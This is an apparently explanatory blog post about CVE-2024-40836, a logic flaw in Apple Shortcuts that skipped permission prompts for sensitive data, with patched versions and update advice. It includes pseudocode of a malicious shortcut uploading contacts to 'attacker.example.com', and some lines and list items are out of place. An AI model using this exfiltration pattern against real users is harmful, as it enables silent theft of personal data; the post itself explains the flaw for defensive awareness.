In July 2024, Apple addressed an important security vulnerability — CVE-2024-40836 — that impacted several of their flagship operating systems: watchOS, macOS Sonoma, iOS, and iPadOS. This flaw, if exploited, would have allowed certain "Shortcuts" to access your sensitive data, such as contacts, photos, or files, without you ever seeing a permission prompt. In this post, I'll break down what happened, why it matters, and show how this exploit could work in practice. We'll keep technical jargon to a minimum. Let's get started.

What is CVE-2024-40836?

CVE-2024-40836 is a logic issue in Apple's Shortcuts app framework — the tool that lets users automate phone or computer tasks by stringing together actions. Normally, Shortcuts actions that use sensitive data (like reading contacts or grabbing files) will *ask for your permission* the first time they run. Due to the logic bug, however, a malicious shortcut could skip this permission prompt in some cases and pull data without your knowledge.

macOS Sonoma 14.6

- iOS / iPadOS 17.6
- iOS / iPadOS 16.7.9

- Apple Security Updates (CVE-2024-40836)
- MITRE CVE Entry

Here’s the simplified flow

1. Shortcuts usually require *explicit permission* before accessing sensitive things like your location, photos, or contacts.
2. Some actions, especially if chained in a certain way, could bypass the permission check due to a logic error in the validation code.
3. As a result, a shortcut—potentially one downloaded from the internet or shared by someone—could access data it shouldn’t.

Example Exploit Scenario

Suppose a shortcut action called Get Contacts is supposed to trigger a permission dialog. Due to the bug, when it’s combined with certain actions in a shortcut, it bypasses this security step. That means:

Code Snippet: What a Malicious Shortcut Might Look Like

Below is a simplified pseudocode (not actual Apple Shortcut code, but a readable script to illustrate the chain):

// Hypothetical Shortcuts code
let contactsData = GetContacts(); // Should prompt the user!
let serverURL = "https://attacker.example.com/upload";;

// Skips user prompt due to logic bug!
// Uploads contacts
UploadToServer(serverURL, contactsData);

Before the bug was fixed, this entire operation *could happen silently*.

Why Is This Bad?

- Zero User Interaction: The exploit needs no permission granting—just running the shortcut is enough.
- Data Leak Potential: Your contacts, photos, or other sensitive info could be uploaded or misused.
- Easy to Distribute: Attackers could share malicious shortcuts via websites, social media, or email, and people might run them thinking they're helpful automations.

How Did Apple Fix CVE-2024-40836?

Apple updated the logic that checks if a shortcut is requesting sensitive access. Now, even if actions are chained or nested, *the OS will always prompt the user before granting access*. If you haven’t updated, you should *immediately* install:

- iOS / iPadOS 17.6 or 16.7.9

Conclusion

CVE-2024-40836 proved that even trusted automation features like Shortcuts can create risks if checks break down. Apple’s quick patching shows how seriously they take privacy, but the responsibility also falls on us to keep devices updated and use new shortcuts wisely.

If you want the official word, you can check out the Apple Security Updates page for more details.

*Stay safe, and double-check before you automate!*

References

- Apple Security Updates (CVE-2024-40836)
- MITRE CVE Entry

Timeline

Published on: 07/29/2024 23:15:14 UTC
Last modified on: 08/01/2024 13:58:15 UTC